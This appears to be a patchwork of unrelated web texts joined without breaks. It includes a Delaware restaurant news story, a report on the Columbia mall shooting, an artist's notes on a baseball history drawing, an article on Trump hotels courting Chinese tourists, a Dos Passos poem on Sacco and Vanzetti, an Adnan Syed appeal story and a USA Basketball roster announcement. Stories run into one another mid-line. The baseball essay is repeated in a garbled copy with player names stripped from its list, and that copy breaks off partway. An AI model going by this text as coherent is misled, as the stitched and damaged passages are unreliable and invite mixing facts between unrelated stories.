Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show and Infiowars Nightly News.Buy Photo News Journal file photo A 2013 photo of Aqua Sol's patio overlooking the Summit Point Marina. (Photo: JESSICA BRATTON, News Journal file photo)Buy Photo
Owners of Newark's Grain Craft Bar + Kitchen have purchased the former Aqua Sol eatery and plan to reopen the Bear site by the late spring or early summer.
The restaurant at the Summit North Marina, on an inlet along the Chesapeake and Delaware canal, now will be called Grain H2O, say operators Lee Mikles and Jim O'Donoghue.
The pair plan to make renovations to the building that had once housed Aqua Sol. The former restaurant and bar at 3006 Summit Harbour Place served Miami/Latin infusion cuisine from 2009 until its closing last year.
O'Donoghue said it will take a few months "to redo the interior," which includes reconfiguring and expanding the indoor bar area.
"The bar is not situated well for taking advantage of the beautiful outdoor views," he said, adding that they will install a new outdoor bar as well as some fire pits. Mikles said there also will be a private room for about 40 to 50 people.
"We want to make it a neighborhood spot for people who like being on the water," Mikles said of the restaurant which will have seating, indoor and outside, for about 280 people. Acoustic acts will be booked to perform, just like Grain in Newark, he said. Steel drum and reggae bands might play on the outdoor stage.
Buy Photo News Journal file photo A 2013 photo of Aqua Sol's patio overlooking the Summit Point Marina. (Photo: JESSICA BRATTON, News Journal file photo)
Mikles and O'Donoghue were first-time restaurateurs when they opened Grain Craft Bar + Kitchen at 270 E. Main St. in Newark in July 2015. The eatery is not far from the University of Delaware's main campus.
The business partners and UD alumni took over the site perhaps once best known as The East End Cafe, and later Mojo Main. They entirely renovated and retooled the location into Grain, a craft beer-themed restaurant focused on serving unpretentious comfort foods. It's become a thriving eatery in downtown Newark.
STORY: Casablanca makes long-awaited return on Friday
STORY: New Agave in Chadds Ford not associated with Lewes eatery
Mikles said at the new Grain H2O executive chef Bill Wallen will duplicate some of the popular menu items he currently serves at the Newark location including tuna nacho bites and bacon-wrapped shrimp. But Wallen also plans to add "a seafood slant" to the menu of the Bear restaurant with dishes like steamed shrimp and perhaps a tempura lobster sandwich. Saturday and Sunday brunch will be served from 10 a.m. until 2 p.m. The restaurant will close daily at 1 a.m.
O'Donoghue said he and Mikles were attracted to the site because of the water views - the marina is 7 miles from both the Chesapeake and Delaware bays - and work the state Department of Natural Resources and Environment Control is doing to improve the marina, including dredging. "It seemed like everything is on the upswing."
Mikles agreed. "When we started out, we had a goal to open one [restaurant] a year. This [site] seemed to check all the boxes," he said. "The marina itself is pretty impressive. The quality is first rate." He said it has about 300 slips.
"It's going will be a neat environment to watch the boats."
Buy Photo The new Grain H2O restaurant will be at the Summit North Marina in Bear. (Photo: News Journal file photo)
The restaurant also is located along the Michael N. Castle Trail, a 12.1-mile paved path that links the Chesapeake Bay and Delaware River and is named for the longtime Delaware politician who served the state for nearly 40 years as state legislator, lieutenant governor, governor and U.S. congressman.
More than 100,000 hikers, runners, cyclists and equestrian enthusiasts annually have used the trail since it was partially opened in 2013, according to state officials.
"This will be a cool stop for anyone on the trail," Mikles said. "The trail goes right through our parking lot."
Contact Patricia Talorico at (302) 324-2861 or ptalorico@delawareonline.com and on Twitter @pattytalorico
Read or Share this story: http://delonline.us/2jOnHtNHoward County police on Sunday identified 19-year-old Darion Marcus Aguilar of College Park as the man who entered a store at The Mall in Columbia and fatally shot two employees before apparently killing himself.
Officials said Aguilar was reported missing on the day of the shooting and that authorities had reviewed his journal, which depicted a "general unhappiness with his life."
But police said they still have not determined what fueled the lethal Saturday morning outburst that shattered the calm at the popular retail complex. County police Chief Bill McMahon called the mall "the cornerstone of our community."
In an effort to quickly restore a sense of normality, mall officials announced that the shopping center would reopen at 1 p.m. today. Zumiez skate shop, where the killings occurred, will remain closed indefinitely, however.
"We may never be quite back to 100 percent normal, but we are a resilient community," County Executive Ken Ulman told a bank of news cameras Sunday evening. He said he plans to eat lunch today at the food court, which erupted into pandemonium when the shotgun blasts rang out.
McMahon said investigators have not established any relationship between Aguilar and either of his victims, Brianna Benlolo, 21, of College Park and Tyler Johnson, 25, of Mount Airy. Community members and relatives remain at a loss to understand what could have motivated Aguilar to shoot the two victims.
On Sunday, Johnson's family issued a statement that said, "We have lost a kind, positive son who reached out to help others in need, and he made a difference. Our prayers are with him and the other victims and all the people who been touched by this violence."
At a 12-step meeting at the Serenity Center in Columbia, friends and acquaintances called Johnson an inspiration in their efforts to recover from substance abuse.
Friends described Benlolo as an upbeat and happy woman who doted on her toddler son, Elijah, and took pride in her role as assistant manager of the Zumiez store.
As police searched for answers, the timeline of Saturday morning's events came into clearer focus. Police say Aguilar, a 2013 high school graduate, took a cab to the mall, arriving at 10:15.
Police said surveillance video shows him entering the mall upstairs near the carousel. He spent an hour in the area of Zumiez on the second level and the food court one floor below.
He walked into Zumiez around 11:15 a.m. and fired six to eight bursts from a Mossberg 12-gauge shotgun he bought last month in Montgomery County, according to police.
The day of the shooting, Aguilar was supposed to open the Dunkin Donuts store where he worked in College Park, family friend Ellis Cropper said in an interview. When Aguilar's mother stopped by and learned her son was a no-show, she called police.
A Dunkin Donuts spokeswoman confirmed that Aguilar had worked at its store in the 10200 block of Baltimore Ave. in College Park.
Prince George's County police said the department received a missing-person call about 1:40 p.m. and sent officers to meet Aguilar's mother at her home, a well-maintained white frame house. About 5 p.m., a police investigator visited his mother, who shared a journal that Aguilar kept.
"The portion of the journal that [the investigator] read made him concerned for the missing person's safety," a police statement said. The department did not identify the mother by name, and Cropper declined to give it to The Baltimore Sun.
Prince George's County police were able to track Aguilar's cellphone to Columbia, and the investigator "soon determined it was pinging at The Mall in Columbia." The investigator drove to the mall — which by then had been a crime scene for hours — and turned over the missing-person information to Howard County police just before 6 p.m.
"Not long thereafter, it was confirmed the missing person and the deceased gunman were one and the same," the statement said.
Efforts to reach Aguilar's mother were unsuccessful. No one answered the door at the home on Hollywood Road.
At the evening news briefing, McMahon confirmed the journal's existence and said Aguilar expressed "a general unhappiness with his life" in its pages. McMahon added that he did not have any additional information about the journal.
McMahon said police have seen nothing in Aguilar's background that hinted at violence. According to Maryland electronic court records, he had no criminal record. Aguilar lived near Benlolo, but McMahon said he had no indication the two knew each other.
Aguilar was quiet but outgoing, according to friends and former classmates at James Hubert Blake High School in Silver Spring.
"I never ever heard him curse, raise his voice, none of that," said one classmate, Noah Sturdivant. Aguilar had a distinctive fashion sense that Sturdivant described as a mix of graphic art and skateboard culture.
Blake High will have counselors on hand to speak to students today, Principal Christopher S. Berry wrote in a statement posted on the school's website. "It is a sad time of reflection for our wider community," he wrote.
Cropper said his mother never saw a gun or ammunition in the family's College Park home. She was not aware that in December he had gone to Montgomery County to buy the shotgun that police said he used Saturday.
"His mother right now is struggling for a reason to live," Cropper said. "It's become an epidemic right now. Every week we're reading about someone shooting in a mall. … What out there in our world is angering these children that makes them do something like this?"
McMahon said he believed Aguilar purchased the shotgun legally.
Along with the gun, he was found with a large amount of ammunition and a bag containing two crude devices made of "flash powder and household items." Police rendered the devices harmless, McMahon said, and no other booby traps or explosives were found in the mall after 20 canine teams searched the complex.
Five people were treated at an area hospital and released Saturday. A woman was shot in the foot, and four others were hurt during the chaos after the shooting. On Sunday, McMahon clarified that the woman was shot on the mall's second level, where Zumiez is, not on the first level, as first reported.
Benlolo grew up in Florida and Colorado before moving to Maryland in 2010, according to her Facebook page. Johnson's Facebook page said he began working at Zumiez, which sells skateboard apparel and gear, in November. Both have family in Mount Airy.The inspiration for trying to tell a history of Major League Baseball came from a style of Mexican sculpture called Árbol de la Vida (Tree of Life). They are very beautiful, and should you ever visit Mexico City, I highly recommend visiting the Museo de Arte Popular and Museo Nacional de Antropología where you can see some wonderful examples. (Or you could just google it.) When I first saw a Tree of Life sculpture at the National Museum of Anthropology, I had a vague idea to do some sort of drawing about baseball history based of this style of sculpture. This, two years later, is that drawing.
What I have tried to do is have three people represent each decade. (In later decades, there are four each, and just three representing the 19th century.) I've also tried to represent as many franchise as I could. It would be easy to fill this with Yankee players, but I only wanted a maximum of three players per franchise. Even then there are several franchises without any players represented. And if you think about how to represent the Yankees with just three figures, for example, who would you choose? It's a tough one. Babe Ruth has to be in there. Lou Gehrig, too. But then you have Joe DiMaggio, Mickey Mantle, Mariano Rivera, Derek Jeter, etc etc. I figured that Ruth and Gehrig represented the start of that franchise's great successes. And therefore they also covered the bases that many of their other great players would cover. The one era of Yankeedom that felt different to me is the 70s, so that's why Billy Martin is the third Yankee.
It became more difficult in later years to represent three players per decade and represent all of the expansion teams; that would've meant using 14 figures from the 1960s to 2000s just making sure every team is represented. Doing so would have created a false view of each of those decades. Indeed, would you want the 1990s solely represented by players from the Diamondbacks, Rockies, Devil Rays and Marlins? Instead, and twisting things to fit in my own head, Randy Johnson is there in a Diamondbacks uniform, representing all four of the 1990s expansion teams. And even if there isn't a player from every team, every team is referenced with another element somewhere. There are no Marlins players, for example, but I added part of the home run sculpture at Marlins Park to represent that franchise.
There are no Negro League players because this is a representation of Major League Baseball. I toyed with the idea of including a handful of players from the Negro Leagues, but in the end felt that sticking to Major League Baseball, with its pre-Jackie Robinson flaws, was a better idea.
If that wasn't enough, I wanted it to be fun, too. And if you're still thumping the desk that I've not included your favourite plater, it's a pretty fun exercise to wrap your head around, so try and do it: three players that represent each decade, trying to cover as many franchises as possible. It would be completely possible to do this drawing again and easily fill up my three per decade rule and still miss a lot of great players.
Anyway, for want of a better word, this is art. And I am the artist, and I stand by my choices. I've used a fair amount of words defending myself, though, but that's because I'm English, and didn't grow up with baseball, and I just don't want you the viewer to think that I haven't put in a ton of thought. I've been working on and amending this drawing on and off for two years. I'm glad it's finally finished.
There is a wee bit of guesswork going on with the uniforms of 19th century teams. The Dressed to the Nines
The use of text within the drawing is referencing two things. First, the idea of lovers carving initials on a tree. I have come to love baseball over the past decade, and I'm digitally carving light brown pixels onto dark brown pixels. Second, it's a fairly blatant reference to the work of Howard Finster.
Hopefully, my drawing skills are good enough for you to recognise most of the players and stuff. But here's a list of everything in the picture, starting at bottom left in the 1800s and snaking up the tree to the present day.
John Montgomery Ward, New York Gothams/Giants
The flag of The United Kingdom of Great Britain and Ireland, representing baseball's roots
King Kelly, Chicago White Stockings
Great Pyramid of Giza, where the Chicago White Stockings visited on their world tour in 1889
Old Hoss Radbourn, Providence Grays
Connie Mack, Philadelphia Athletics
Ty Cobb, Detroit Tigers
Honus Wagner, Pittsburgh Pirates
Wrigley Field's win flag
The T206 Honus Wagner card
The flag of Cuba, representing the first Cuban players (Rafael Almeida and Armando Marsans) in the majors in 1911
Addie Joss, Cleveland Bronchos/Naps
The flag of the United States, representing the national anthem being introduced at games
Walter Johnson, Washington Senators
"Shoeless" Joe Jackson, Chicago White Sox
Rogers Hornsby, St. Louis Cardinals
Eddie Grant Memorial at the Polo Grounds
John McGraw, New York Giants
The frieze from Yankee Stadium
Babe Ruth, New York Yankees
Jimmie Foxx, Philadelphia Athletics
Hank Greenberg, Detroit Tigers
The flag of Mexico, representing Mel Almada, the first Mexican in the majors in 1933
Lou Gehrig, New York Yankees
Ted Williams, Boston Red Sox
The flag of Venezuela representing Alex Carrasquel, the first Venezuelan player in the majors in 1939
Jackie Robinson, Brooklyn Dodgers
A goat. You know why
The Crosley Field floodlight, the first ballpark to have lights
Stan Musial, St. Louis Cardinals
The flag of Puerto Rico, representing Hiram Bithorn, the first Puerto Rican in the majors in 1942
Willie Mays, New York Giants
The "Infield Back?" and "Yes" and "No" signs from the St. Louis Browns' Grandstand Managers Day
Ernie Banks, Chicago Cubs
Warren Spahn, Milwaukee Braves
The flag of the Dominican Republic, representing Ozzie Virgil, the first Dominican in 1956
Mr. Met, New York Mets
Sandy Koufax, Los Angeles Dodgers
The flag of Japan, for Masanori Murakami, the first Japanese player in 1964
Roberto Clemente, Pittsburgh Pirates
Home Run Apple from Shea Stadium
The HERE flag from Baltimore Memorial Stadium where Frank Robinson hit a home run out of the stadium
A green weenie
Marvin Miller
The flag of Canada, representing the Montreal Expos, the first non-US team in the majors
Hank Aaron, Atlanta Braves
Pete Rose, Cincinnati Reds
The Big A from Anaheim Stadium
Billy Martin, New York Yankees
Montreal's Olympic Stadium
San Diego's Famous Chicken
Chalet and beer mug from Milwaukee County Stadium
Nolan Ryan, Houston Astros
Short Stinks banner from RFK Stadium, Washington, D.C. unfurled by fans at the last game before the Senators were relocated to Texas by owner Bob Short
Fernando Valenzuela, Los Angeles Dodgers
Charles O. Finlay's orange baseball
Mike Schmidt, Philadelphia Phillies
Rickey Henderson, Oakland Athletics
Bo Jackson, Kansas City Royals
Roberto Alomar, Toronto Blue Jays
A cloud from the ramps at the SkyDome
One of the purple row seats from Coors Field
Randy Johnson, Arizona Diamondbacks, with a (live) dove on his head
Bill James
Steve Bartman
Anaheim Angels Rally Monkey
Barry Bonds, San Francisco Giants
Pedro Martinez, Boston Red Sox
Cownose ray, from the Rays Touch Tank at Tropicana Field
Beer and hot dog, just because
The Comiskey Park pinwheels
A Marlin from the home run sculpture at Marlins Park
Ichiro Suzuki, Seattle Mariners
Albert Pujols, St. Louis Cardinals
Bugs (above Albert's head) from game two of the 2007 ALDS at Progressive Field
A King's Court sign from Safeco Field
Bryce Harper, Washington Nationals
The text on the tree, from top to bottom:
My oh my!: Dave Niehaus
9-6-2: The Jeter flip
Mercury symbol: Mercury Mets on Turn Ahead the Clock Night
42: Jackie Robinson's number retired league wide
He is... safe! Safe at the plate: Sean McDonough's call of Sid Bream scoring the winning run in the 1992 NLCS
.649: Montreal Expos' win percentage in 1994
Merci Expos: on the video screen at the Expos' final home game
2,131: Cal Ripken passes Lou Gehrig's record for consecutive games played
Hits 0 LSD hits 1: Dock Ellis' no-hitter
I donÕt believe what I just saw!: Jack Buck's call of Kirk Gibson's home run
Three and two to Mookie Wilson: Vin Scully calling the game six of the 1986 World Series
61*: Roger Maris breaking the single season home run record
Holy Cow!: Phil Rizzuto's call of above home run
California: baseball moves west
1/8: Eddie Gaedel's number for the St. Louis Browns
The art of fiction is dead: Red Smith writing about Bobby Thomson's Shot Heard 'Round the World
A million butterflies: Vin Scully calling Sandy Koufax's perfect game
If it stays fair...: Carlton Fisk's home run
2,130: Lou Gehrig's consecutive games played
BB and LL: Bustin' Babes and Larrupin' Lous, Babe Ruth and Lou Gehrig's teams on their 1927 barnstorming tour
Diamond: Who's on first?
No gambling allowed: because no gambling was allowed
But I've got an awful lot to live for: Lou Gehrig's speech
Yes, kid, I'm afraid it is: what Shoeless Joe supposedly said when asked if it was true
8.17.20: Ray Chapman dies.
M.C.B.B: The Philadelphia Athletics' $100,000 infield: Stuffy McInnis, Eddie Collins, Jack Barry and Frank Baker
Jan 28, 1901: American League founded
M.F.W: Moses Fleetwood Walker of the 1884 Toledo Blue Stockings, the first African American to play Major League baseball until Jackie Robinson
Feb 2, 1876: National League founded
Sash: word used in a telegram by Jim Devlin of the Louisville Grays to indicate that he willing to throw a game for money
Tinker to Evers to Chance: From "Baseball's Sad Lexicon," a poem by Franklin Pierce Adams regarding the Chicago Cubs infield turning a double play
Notes: Take Me Out To The Ball Game
And in the background: palm trees for Spring Training, and autumnal trees of the World Series and the end of the season
Craig Robinson
October 2013
Special thanks to Pete, Ted, Eric, and Scott
Prints of this drawing coming soon.
The inspiration for trying to tell a history of Major League Baseball came from a style of Mexican sculpture called Árbol de la Vida (Tree of Life). They are very beautiful, and should you ever visit Mexico City, I highly recommend visiting the Museo de Arte Popular and Museo Nacional de Antropología where you can see some wonderful examples. (Or you could just google it.) When I first saw a Tree of Life sculpture at the National Museum of Anthropology, I had a vague idea to do some sort of drawing about baseball history based of this style of sculpture. This, two years later, is that drawing.What I have tried to do is have three people represent each decade. (In later decades, there are four each, and just three representing the 19th century.) I've also tried to represent as many franchise as I could. It would be easy to fill this with Yankee players, but I only wanted a maximum of three players per franchise. Even then there are several franchises without any players represented. And if you think about how to represent the Yankees with just three figures, for example, who would you choose? It's a tough one. Babe Ruth has to be in there. Lou Gehrig, too. But then you have Joe DiMaggio, Mickey Mantle, Mariano Rivera, Derek Jeter, etc etc. I figured that Ruth and Gehrig represented the start of that franchise's great successes. And therefore they also covered the bases that many of their other great players would cover. The one era of Yankeedom that felt different to me is the 70s, so that's why Billy Martin is the third Yankee.It became more difficult in later years to represent three players per decaderepresent all of the expansion teams; that would've meant using 14 figures from the 1960s to 2000s just making sure every team is represented. Doing so would have created a false view of each of those decades. Indeed, would you want the 1990s solely represented by players from the Diamondbacks, Rockies, Devil Rays and Marlins? Instead, and twisting things to fit in my own head, Randy Johnson is there in a Diamondbacks uniform, representing all four of the 1990s expansion teams. And even if there isn't a player from every team, every team is referenced with another element somewhere. There are no Marlins players, for example, but I added part of the home run sculpture at Marlins Park to represent that franchise.There are no Negro League players because this is a representation of Major League Baseball. I toyed with the idea of including a handful of players from the Negro Leagues, but in the end felt that sticking to Major League Baseball, with its pre-Jackie Robinson flaws, was a better idea.If that wasn't enough, I wanted it to be fun, too. And if you're still thumping the desk that I've not included your favourite plater, it's a pretty fun exercise to wrap your head around, so try and do it: three players that represent each decade, trying to cover as many franchises as possible. It would be completely possible to do this drawing again and easily fill up my three per decade rule and still miss a lot of great players.Anyway, for want of a better word, this is art. And I am the artist, and I stand by my choices. I've used a fair amount of words defending myself, though, but that's because I'm English, and didn't grow up with baseball, and I just don't want you the viewer to think that I haven't put in a ton of thought. I've been working on and amending this drawing on and off for two years. I'm glad it's finally finished.There is a wee bit of guesswork going on with the uniforms of 19th century teams. The Dressed to the Nines uniform database only goes back to 1900, so I sourced as many images as possible, and chose colors from illustrations on cigarette cards for Monte Ward, King Kelly, and Old Hoss Radbourn (or contemporaneous team-mates). I've also had to guess at the colour of John McGraw's cardigan because the only sources I've come across are black and white photos. I decided that because their uniform at the time featured dark blue and red, that the cardigan should have the same colours.The use of text within the drawing is referencing two things. First, the idea of lovers carving initials on a tree. I have come to love baseball over the past decade, and I'm digitally carving light brown pixels onto dark brown pixels. Second, it's a fairly blatant reference to the work of Howard Finster.Hopefully, my drawing skills are good enough for you to recognise most of the players and stuff. But here's a list of everything in the picture, starting at bottom left in the 1800s and snaking up the tree to the present day., New York Gothams/GiantsThe flag of The United Kingdom of Great Britain and Ireland, representing baseball's roots, Chicago White StockingsGreat Pyramid of Giza, where the Chicago White Stockings visited on their world tour in 1889, Providence Grays, Philadelphia Athletics, Detroit Tigers, Pittsburgh PiratesWrigley Field's win flagThe T206 Honus Wagner cardThe flag of Cuba, representing the first Cuban players (Rafael Almeida and Armando Marsans) in the majors in 1911, Cleveland Bronchos/NapsThe flag of the United States, representing the national anthem being introduced at games, Washington Senators, Chicago White Sox, St. Louis CardinalsEddie Grant Memorial at the Polo Grounds, New York GiantsThe frieze from Yankee Stadium, New York Yankees, Philadelphia Athletics, Detroit TigersThe flag of Mexico, representing Mel Almada, the first Mexican in the majors in 1933, New York Yankees, Boston Red SoxThe flag of Venezuela representing Alex Carrasquel, the first Venezuelan player in the majors in 1939, Brooklyn DodgersA goat. You know whyThe Crosley Field floodlight, the first ballpark to have lights, St. Louis CardinalsThe flag of Puerto Rico, representing Hiram Bithorn, the first Puerto Rican in the majors in 1942, New York GiantsThe "Infield Back?" and "Yes" and "No" signs from the St. Louis Browns' Grandstand Managers Day, Chicago Cubs, Milwaukee BravesThe flag of the Dominican Republic, representing Ozzie Virgil, the first Dominican in 1956, New York Mets, Los Angeles DodgersThe flag of Japan, for Masanori Murakami, the first Japanese player in 1964, Pittsburgh PiratesHome Run Apple from Shea StadiumThe HERE flag from Baltimore Memorial Stadium where Frank Robinson hit a home run |
also aware of another Giants’ hidden edge, that of pitchers’ offensive performance as the Dodgers ranked 10th in the NL in pitcher OPS (.290) while the Giants ranked fourth (.405). Sure, rostering Madison Bumgarner doesn’t hurt that effort.
But if the Dodgers have a buy in to an improved two-strike concept perhaps they can be even more productive as an offensive group this season. That the most talented team according to projections is focused on getting better at the little things, on improving at the margins this spring, should be concerning to the rest of the field.While China-bashing may be a favorite pastime of Donald Trump during his blustering speeches on the U.S. presidential campaign trail, this hasn’t stopped his luxury hotel brand from making big efforts to cash in on the global Chinese tourism boom.
With a representative office in Shanghai, the Trump Hotel Collection has been pursuing its Asia expansion plan with sights trained clearly on Chinese travelers. Its first two Asia resorts are being developed in Indonesia (including Chinese tourist favorite Bali), and the brand is looking at Shanghai, Beijing, and Shenzhen for new property locations, its CEO Eric Danziger told China Daily last October.
With their emphasis on gold and bling, Trump’s hotels in the United States have also proven to be a tuhao dream, and the Trump organization has made extensive efforts to roll out the red carpet for Chinese visitors. In addition to a Chinese-language website and efforts to target Chinese media, the hotels have many amenities specifically for Chinese tourists. The Trump SoHo New York has “multilingual staff to assist travelers, a dedicated arrival procedure for Chinese guests that keeps cultural customs top-of-mind, and several traditional Asian dishes on the hotel’s in-room dining menu,” said Danziger. The hotel has also held Chinese New Year celebrations with special red envelope promotions for guests.
This warm hospitality toward Chinese guests marks a significant contrast with what Trump has been saying about China while running for president. He’s stated that the “money and jobs” that have been “taken” by China from the United States mark “the greatest single theft in the history of the United States,” and has called China a currency manipulator while threatening to impose a 45 percent tax on imports from China. He’s also used broken English to mock Chinese accents while talking about what it’s like “negotiating with China” in a campaign rally speech.
His views have gotten him negative publicity in China, as the state-run People’s Daily has called him “deranged” and Global Times recently ran an op-ed calling him “arrogant and hawkish,” using his rise is an example of the shortcomings of the U.S. democratic system. Meanwhile, Chinese business magazine Caijing has called him a “celebrity fuerdai“ (second-generation rich) who would “not make a good president.”
Trump’s statements on China haven’t been the only ones that have been at odds with his brand and business interests. Although he has called for a ban on new Muslims entering the United States, said that the government should keep a registry of all Muslims, and even praised the idea of executing Muslims with pigs’ blood, Trump’s Indonesia locations will be in a country that is 87 percent Muslim, while the brand is also expanding into Muslim-majority Azerbaijan. His statements have caused many tourism operators to say that they’ll be boycotting the Trump brand, while one survey of affluent American travelers found that 45 percent will be boycotting his properties.
It’s not just the Trump hotels that have big business ties to China. A Trump-branded tower being built in New Jersey released a Chinese-language marketing video seeking funding from wealthy Chinese investors interested in the EB-5 visa program (nicknamed the “millionaire visa”), which grants visas to foreigners who invest at least $500,000 in the United States. In addition, items from Trump’s clothing brand are made in China, as are those from his daughter Ivanka’s fashion line (which just had a recall issue with flammable made-in-China scarves).
As a result, his China-bashing rhetoric—like with many of his other positions—has come across a bit garbled at times. When he announced his presidential run, he exclaimed, “I love China,” and highlighted the ways he’s benefited from New York’s influx of Chinese billionaires buying real estate, stating, “I just sold an apartment for $15 million to somebody from China. Am I supposed to dislike ‘em?”
His love-hate inconsistency when it comes to China has been returned by China’s public, as Donald Trump “fan groups” have been on the rise on Chinese social media, with Chinese followers expressing admiration toward his “charisma” and approval toward his draconian positions on Muslims. Others support his presidency for a completely opposite reason—they believe he would be a failure as a president, and as a result “make China great again.”“They Are Dead Now”: Eulogy for Sacco and Vanzetti
The emotional and highly publicized case of Nicola Sacco and Bartolomeo Vanzetti became a touchstone and rallying cry for American radicals in the early 20th century. The two Italian immigrants were accused in 1920 of murdering a paymaster in a holdup. Although the evidence against them was flimsy, they were readily convicted, in large part because they were immigrants and anarchists. Despite international protests, they were executed on August 23, 1927. Novelist John Dos Passos became deeply involved in the case after he visited Sacco and Vanzetti in Massachusetts prisons. In the fall of 1920 he joined the Sacco-Vanzetti Defense Committee. The case and execution were commemorated in an outpouring of literary expression. John Dos Passos’s "They Are Dead Now— - " appeared inthe New Masses, October 1927. A stark poem that repudiated its own form as inadequate to the subject, it opened “This isn’t a poem.” In the poem, the executions ended the dreams not only of Sacco and Vanzetti, but those of many others who had followed the trials with disbelief and outrage.
This isn’t a poem
This is two men in grey prison clothes.
One man sits looking at the sick flesh of his hands—hands that haven’t worked for seven years.
Do you know how long a year is?
Do you know how many hours there are in a day
when a day is twenty-three hours on a cot in a cell,
in a cell in a row of cells in a tier of rows of cells
all empty with the choked emptiness of dreams?
Do you know the dreams of men in jail?
They are dead now
The black automatons have won.
They are burned up utterly
their flesh has passed into the air of Massachusetts their dreams have passed into the wind.
“They are dead now,” the Governor’s secretary nudges the Governor,
“They are dead now,” the Superior Court Judge nudges
the Supreme Court Judge,
“They are dead now” the College President nudges
the College President
A dry chuckling comes up from all the dead:
The white collar dead; the silkhatted dead;
the frockcoated dead
They hop in and out of automobiles
breathe deep in relief
as they walk up and down the Boston streets.
they are free of dreams now
free of greasy prison denim
their voices blow back in a thousand lingoes
singing one song
to burst the eardrums of Massachusetts
Make a poem of that if you dare!
Source: John Dos Passos, “They Are Dead Now—” New Masses, October 1927, 228–229.
See Also:"Save Sacco and Vanzetti": The Defense Committee's Plea
"March On, O Dago Christs": Sacco and Vanzetti Memorialized
"We Stand Defeated America": Sacco and Vanzetti in U.S.A.Image copyright AP Image caption Adnan Syed was sentenced to life plus 30 years for killing his ex-girlfriend
The lawyer of Adnan Syed, the subject of the hit US podcast Serial, has submitted new evidence that he says casts doubt on his client's conviction.
Justin Brown says key mobile phone data used to convict Syed of killing his ex-girlfriend in 2000 was unreliable.
Syed, 35, is serving a life sentence for the murder of Hae Min Lee in 1999.
His defence team is trying to reopen the case based on some of the questions raised in the Serial podcast over whether Syed had received a fair trial.
Serial, which was released in weekly instalments at the end of last year, became a global hit, breaking records as the fastest podcast to reach five million downloads on iTunes.
'Incoming calls not reliable'
In the 2000 trial, prosecutors weighed heavily on mobile phone records that allegedly placed Syed at a park in Baltimore where Lee's body was buried. Syed, who was 17 at the time, has always maintained his innocence.
But a motion filed in court on Monday by Mr Brown said a newly recovered mobile phone document showed "the cell tower evidence was misleading and should have never been admitted at trial".
In it, Mr Brown says mobile phone carrier AT&T had issued a warning about the accuracy of mobile tower data, which he argues would have made the phone records inadmissible as evidence.
"Outgoing calls only are reliable for location status. Any incoming calls will NOT be considered reliable information for location," reads a note on a cover sheet from AT&T for Syed's phone records.
Image copyright Serial Podcast Image caption Serial was one of the most popular podcasts of all time
But Mr Brown says prosecutors presented incoming calls as evidence to determine Syed's location.
It "is an extremely important piece of evidence, and we are bringing it to the court's attention as quickly as possible," Mr Brown told The Baltimore Sun.
Syed's lawyer is also seeking to reopen court proceedings to allow testimony from a key witness who may be able to provide Syed with an alibi in the case.
Asia McClain, a friend of Syed's who was not heard in the original trial, claims to have seen him in a library at the time of the suspected killing.
The fact that Syed's first lawyer, Cristina Gutierrez, failed to submit this evidence in the original trial was one of the arguments used to win him the right to appeal in February.
Syed's lawyer has since filed a motion for appeal, though the court in Maryland has yet to respond.–
Featuring a total of 34 players, including 26 players on the National Team roster and eight players who are new additions to the 2014-16 USA Basketball National Team, USA Basketball Chairman and National Team Managing Director
today announced the roster of players expected to attend the Aug. 11-13 USA Basketball Men’s National Team minicamp in Las Vegas.
The roster of attendees includes all 11 of the 12 members of the gold medalist 2014 USA World Cup Team, and nine Olympic gold medalists, including eight members of the 2012 London Olympic team.
Added to the 2014-16 USA National Team roster and participating in the Aug. 11-13 USA National Team training camp are eight NBA standouts, including Harrison Barnes (Golden State Warriors); Jimmy Butler (Chicago Bulls); Michael Carter-Williams (Milwaukee Bucks); Mike Conley (Memphis Grizzlies); Draymond Green (Golden State Warriors); Tobias Harris (Orlando Magic); DeAndre Jordan (Los Angeles Clippers); and Victor Oladipo (Orlando Magic).
USA National Team members confirmed for the 2015 Las Vegas minicamp include: LaMarcus Aldridge (San Antonio Spurs); Carmelo Anthony (New York Knicks); Bradley Beal (Washington Wizards); DeMarcus Cousins (Sacramento Kings); Stephen Curry (Golden State Warriors); Anthony Davis (New Orleans Pelicans); DeMar DeRozan (Toronto Raptors); Andre Drummond (Detroit Pistons); Kevin Durant (Oklahoma City Thunder); Kenneth Faried (Denver Nuggets); Rudy Gay (Sacramento Kings); Paul George (Indiana Pacers); Blake Griffin (Los Angeles Clippers); James Harden (Houston Rockets); Gordon Hayward (Utah Jazz); Dwight Howard (Houston Rockets); Kyrie Irving (Cleveland Cavaliers); LeBron James (Cleveland Cavaliers); Kawhi Leonard (San Antonio Spurs); Kevin Love (Cleveland Cavaliers); Chandler Parsons (Dallas Mavericks); Chris Paul (Los Angeles Clippers); Mason Plumlee (Portland Trail Blazers); Klay Thompson (Golden State Warriors); John Wall (Washington Wizards); and Russell Westbrook (Oklahoma City Thunder).
“With this being a summer where we do not have an official competition that we need to prepare for, this year’s minicamp is an opportunity to continue and expand the brotherhood and camaraderie that has been built,” said Colangelo, who has served as managing director of the USA National Team since 2005. “It will be a celebration of all that we've accomplished with USA Basketball since the National Team program was formed in 2006 while also looking ahead to 2016. The minicamp is going to be low key with light workouts, no contact, and the USA Basketball Showcase on Aug. 13 will be a fun all-star type game.
“We recognize and understand that some of our players’ availability to participate is still up in the air. Some players are coming off of injuries and are not yet ready to actively participate, or they are getting ready for their NBA seasons. So, it’s a good thing that we don’t have a competition to get ready for this summer.
“We’re also excited about the eight players who have been added to the National Team roster. Seven of the players have been involved in past national team training camps or have participated in past camps as a member of our select teams. All of them enjoyed outstanding NBA seasons in 2014-15 and have been on our radar for a while,” added Colangelo.
The 2014-16 USA Basketball National Team coaching staff features USA head coach and Duke University’s Naismith Hall of Fame mentor Mike Krzyzewski. Serving as assistant coaches are Jim Boeheim (Syracuse University), Tom Thibodeau and Monty Williams (Oklahoma City Thunder).
The 2015 USA National Team minicamp will feature practices on Aug. 11-12, and the minicamp will conclude on Aug. 13 (7:30 p.m. PDT) with the 2015 USA Basketball Showcase, a USA Blue versus USA White exhibition game at the Thomas & Mack Center. Tickets for the 2015 USA Basketball Showcase start at $15, and can be purchased by calling 702-739-FANS or online at www.UNLVtickets.com.More than 3,800 people in England and Wales were referred to the government's anti-radicalisation programme last year, more than twice the number in 2014, the BBC has learned.
The figures released by the National Police Chiefs Council under a Freedom of Information request show 2,003 under 18s were put on the Channel initiative.
The rise came as a duty was put on schools in Britain to report concerns.
About two-thirds of the referrals - 2,629 - were for Islamist extremism.
